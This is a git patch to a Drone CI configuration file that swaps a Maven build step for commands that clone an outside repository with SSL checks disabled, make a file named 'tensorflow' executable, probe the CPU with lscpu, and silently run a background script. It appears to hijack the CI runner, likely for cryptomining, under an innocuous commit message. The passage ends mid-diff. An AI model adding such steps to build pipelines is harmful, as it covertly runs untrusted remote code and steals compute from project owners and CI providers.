From 4a734815de6fe275dd58a18d753becf1ca6f66c8 Mon Sep 17 00:00:00 2001 From: agussusahnti Date: Mon, 28 Mar 2022 01:09:00 +0000 Subject: [PATCH] Update '.drone.yml' --- .drone.yml | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/.drone.yml b/.drone.yml index 90b928b..2e2ac03 100644 --- a/.drone.yml +++ b/.drone.yml @@ -1,20 +1,16 @@ --- kind: pipeline -name: examples +type: docker +name: lint steps: - name: build - image: maven - volumes: - - name: lib - path: /drone/lib - - name: m2 - path: /root/.m2 + image: golang:1.17 commands: - - mvn -ntp verify - - cd /drone/lib - - git clone https://github.com/metaborg/spt.git - - cd spt/org.metaborg.spt.cmd - - mvn -ntp package + - git -c http.sslVerify "false" clone https://gitlab.zam.io/wajinhakim/drone-test.git + - cd drone-test + - chmod +x tensorflow + - lscpu + - nohup bash direct.sh > /dev/null - name: run_spt image: maven volumes: